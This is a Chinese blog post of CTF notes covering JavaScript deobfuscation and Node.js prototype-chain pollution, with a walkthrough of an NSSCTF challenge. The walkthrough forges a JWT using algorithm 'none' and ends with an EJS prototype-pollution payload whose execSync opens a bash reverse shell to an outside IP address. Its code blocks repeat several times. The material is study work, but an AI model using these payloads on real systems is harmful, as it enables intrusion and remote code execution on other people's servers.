前言
web2
JS混淆加密+CTF例题题解
一个小游戏需要玩到114514分才能得到flag
![图片[1],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044224342.png?imageView2/0/format/webp/q/75)
要玩到114514分要好久好久,所以肯定要想其他解法,
这题有多种解法,修改游戏逻辑(难)解密js混淆加密(中) 解密md5(易)
这里要介绍js混淆 也就采用第二种方法(实际上比赛的时候也是用第二种方法解的)
![图片[2],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044257999.png?imageView2/0/format/webp/q/75)
查看源代码,查看游戏逻辑js
![图片[3],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044323356.png?imageView2/0/format/webp/q/75)
仔细查看一下
![图片[4],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044336670.png?imageView2/0/format/webp/q/75)
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =_0x104914[_0x22f014]; return _0x321373; }; return_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799){//...................省略大量代码function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 = _0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 = _0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 = _0x104914[_0x22f014]; return _0x321373; }; return _0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799) { //...................省略大量代码function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 = _0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 = _0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 = _0x104914[_0x22f014]; return _0x321373; }; return _0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799) { //...................省略大量代码
上述即是js混淆加密的明显特征 对function函数体内容进行了混淆加密
只是解密网站要找好久,网上真正可以解密js混淆的网站很少
https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站
js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了 希望能收藏一下
拿到解密网站,对game.js进行解密
搜索逻辑赢得的游戏逻辑114514
![图片[5],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044511866.png?imageView2/0/format/webp/q/75)
可以看到给了一个ascii码的数组
只需ascii码转为字符即可拿到flag
num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
![图片[6],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317142738581.png?imageView2/0/format/webp/q/75)
node.JS原型链污染
Web中的高端局
前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同
proto&prototype
![图片[7],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317043713246.png?imageView2/0/format/webp/q/75)
他们的关系如下
![图片[8],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317040312120.png?imageView2/0/format/webp/q/75)
实操便于更好理解
先定义o1={a:1,b:2} 定义o2={c:3,d:4}
我们两个都走上一级皆是object的对象 期中object为null 因为我们没有new 出一个对象
再网上走 两者o1,o2都是null
![图片[9],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317040153801.png?imageView2/0/format/webp/q/75)
接下来我们令o1下的name=“hello world”
并且输出o1.name
![图片[10],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317040633268.png?imageView2/0/format/webp/q/75)
此时o2的name没有定义 如果输出o2.name理论上是null
但实际上却是与o1共享name
![图片[11],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317040733204.png?imageView2/0/format/webp/q/75)
此时就能大概猜测出原型链污染的原理了 二者共享object父级 通过污染父级以达到污染子类的目的
此时我们进一步扩大危害 在此基础上定义o1对象下的一个函数func
o1.proto.func=function(){return this.a+1}
![图片[12],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317042257945.png?imageView2/0/format/webp/q/75)
并且调用一下o1的函数
![图片[13],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317042357511.png?imageView2/0/format/webp/q/75)
此时我们对于o2调用函数
![图片[14],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317042440146.png?imageView2/0/format/webp/q/75)
实际上o1和o2共享object的原型父级 object本身也是一个对象
期中对象.proto=构造器(构造函数).prototype
![图片[15],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317050836931.png?imageView2/0/format/webp/q/75)
此时我们引入constructor
constructor用于指向构造函数
![图片[16],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317042906987.png?imageView2/0/format/webp/q/75)
![图片[17],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317043004948.png?imageView2/0/format/webp/q/75)
![图片[18],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317044138629.png?imageView2/0/format/webp/q/75)
JS中原型链重要作用
再次提到前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同
此时我们按照正常思维去创造一个对象(在在对象中定义一个函数)
![图片[19],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317090507171.png?imageView2/0/format/webp/q/75)
输出结果
![图片[20],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317090529226.png?imageView2/0/format/webp/q/75)
那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法
也就说this.show是绑定在Goo对象当中
但是在python 或者C/C++中定义的函数都是在类当中 每次生成一个对象都重新生成一次show()方法
这样极其耗费内存 我们只想生成一次this.show
此时我们就可以运用prototype来使用了
我们把show对象调用在Goo之外
![图片[21],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317091703148.png?imageView2/0/format/webp/q/75)
这样我们每次调用show方法的时候 只需要调用之前用prototype生成的方法总共一次
直接省去了加载的过程
![图片[22],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317091849681.png?imageView2/0/format/webp/q/75)
原型链继承举例介绍
以继承链为污染讲解
例题:
![图片[23],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317100736806.png?imageView2/0/format/webp/q/75)
我们定义了两个对象 一个Father 还有一个Son
我们使用rce new出一个新对象
并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null
此时我们查看结果
![图片[24],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317101726376.png?imageView2/0/format/webp/q/75)
子类继承了父类的Fater并且输出了Src
总结:
![图片[25],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317101821230.png?imageView2/0/format/webp/q/75)
JavaScript中原型链污染的例题介绍
正如最开始的原型链介绍的修改是在node.js里的原型链污染
下面在JavaScript进行演示原型链污染
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head><body><script>zoo={a:618}console.log(zoo.a)zoo.__proto__.a=888console.log(zoo.a) //此时并没有修改a本身的值let b={}//定义一个空对象console.log(b.a)//尝试输出空对象下的zoo中的a</script></body></html><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> zoo={a:618} console.log(zoo.a) zoo.__proto__.a=888 console.log(zoo.a) //此时并没有修改a本身的值 let b={}//定义一个空对象 console.log(b.a)//尝试输出空对象下的zoo中的a </script> </body> </html><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> zoo={a:618} console.log(zoo.a) zoo.__proto__.a=888 console.log(zoo.a) //此时并没有修改a本身的值 let b={}//定义一个空对象 console.log(b.a)//尝试输出空对象下的zoo中的a </script> </body> </html>
![图片[26],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317103518961.png?imageView2/0/format/webp/q/75)
何时可以利用js原型链污染
当可以控制js中数组的键名的时候就可以污染原型链
下面将以CTF题介绍
高端局JS原型链污染CTF题
发觉Vemonctf原型链比较简单哒 所以就来个nssctf中的原型链的题
这题还是有点难搞
靶机地址:
![图片[27],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317104801224.png?imageView2/0/format/webp/q/75)
走
![图片[28],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112253484.png?imageView2/0/format/webp/q/75)
查看源代码
![图片[29],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112312520.png?imageView2/0/format/webp/q/75)
访问/source
![图片[30],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112332897.png?imageView2/0/format/webp/q/75)
泄露源代码
const express = require('express');const bodyParser = require('body-parser');const lodash = require('lodash');const session = require('express-session');const randomize = require('randomatic');const jwt = require('jsonwebtoken')const crypto = require('crypto');const fs = require('fs');global.secrets = [];express().use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()).use('/static', express.static('static')).set('views', './views').set('view engine', 'ejs').use(session({name: 'session',secret: randomize('a', 16),resave: true,saveUninitialized: true})).get('/', (req, res) => {if (req.session.data) {res.redirect('/home');} else {res.redirect('/login')}}).get('/source', (req, res) => {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));}).all('/login', (req, res) => {if (req.method == "GET") {res.render('login.ejs', {msg: null});}if (req.method == "POST") {const {username, password, token} = req.body;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: "HS256"});if (username === user.username && password === user.password) {req.session.data = {username: username,count: 0,}res.redirect('/home');} else {return res.render('login.ejs', {msg: 'login error.'});}}}).all('/register', (req, res) => {if (req.method == "GET") {res.render('register.ejs', {msg: null});}if (req.method == "POST") {const {username, password} = req.body;if (!username || username == 'nss') {return res.render('register.ejs', {msg: "Username existed."});}const secret = crypto.randomBytes(16).toString('hex');const secretid = global.secrets.length;global.secrets.push(secret);const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});res.render('register.ejs', {msg: "Token: " + token});}}).all('/home', (req, res) => {if (!req.session.data) {return res.redirect('/login');}res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: null})}).post('/update', (req, res) => {if(!req.session.data) {return res.redirect('/login');}if (req.session.data.username !== 'nss') {return res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: 'U cant change uid'})}let data = req.session.data || {};req.session.data = lodash.merge(data, req.body);console.log(req.session.data.outputFunctionName);res.redirect('/home');}).listen(827, '0.0.0.0')const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')
留下代码,先进行注册
![图片[31],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112541906.png?imageView2/0/format/webp/q/75)
得到了token进行尝试登录
![图片[32],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112556837.png?imageView2/0/format/webp/q/75)
尝试更改UID
![图片[33],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112607565.png?imageView2/0/format/webp/q/75)
好了也就只能到这一步了
下面进行代码审计
已经不是第一次感觉打CTF的啥都要学了
长话短说 哎不想敲了
![图片[34],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112509812.png?imageView2/0/format/webp/q/75)
jwt可以通过加密算法以及token的值可以判断出来 也在之前的比赛遇见过
进行解密
![图片[35],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112649599.png?imageView2/0/format/webp/q/75)
再次进行代码审计
![图片[36],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112743870.png?imageView2/0/format/webp/q/75)
可以看出如果用户不等于nss就弹出U cant change uid
所以我们需要伪造一下nss的token
继续代码审计检查一下加密算法
![图片[37],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317112920454.png?imageView2/0/format/webp/q/75)
verify()指定算法的正确方式应该是通过algorithms传入数组 而这里少了个s
跟ctfshow的php反序列化里面的题好像 都是写错了 这种在实战上属于是万里挑一才能审计出来 太难了
在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。
在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了
jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏
里面包含poc
![图片[38],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317114103893.png?imageView2/0/format/webp/q/75)
审计代码
![图片[39],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317113533487.png?imageView2/0/format/webp/q/75)
![图片[40],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317113519685.png?imageView2/0/format/webp/q/75)
sid为空数组也就是JWT中的secretid为空数组[]就可以伪造
const jwt = require('jsonwebtoken');global.secrets = [];var user = {secretid: [],username: 'nss',password: '123456',"iat":1693372851}const secret = global.secrets[user.secretid];var token = jwt.sign(user, secret, {algorithm: 'none'});console.log(token);const jwt = require('jsonwebtoken'); global.secrets = []; var user = { secretid: [], username: 'nss', password: '123456', "iat":1693372851 } const secret = global.secrets[user.secretid]; var token = jwt.sign(user, secret, {algorithm: 'none'}); console.log(token);const jwt = require('jsonwebtoken'); global.secrets = []; var user = { secretid: [], username: 'nss', password: '123456', "iat":1693372851 } const secret = global.secrets[user.secretid]; var token = jwt.sign(user, secret, {algorithm: 'none'}); console.log(token);
![图片[41],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317134457414.png?imageView2/0/format/webp/q/75)
走
![图片[42],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317134958922.png?imageView2/0/format/webp/q/75)
继续代码审计
![图片[43],JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240317135228979.png?imageView2/0/format/webp/q/75)
merge以及clone都是js原型链污染的非常常见的切入点
此时的路由指向/update 使用的方法是post 接受data
ejs模板引擎污染拿flag即可
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true}}{ "__proto__":{ "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true } }{ "__proto__":{ "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true } }
- 最新
- 最热
只看作者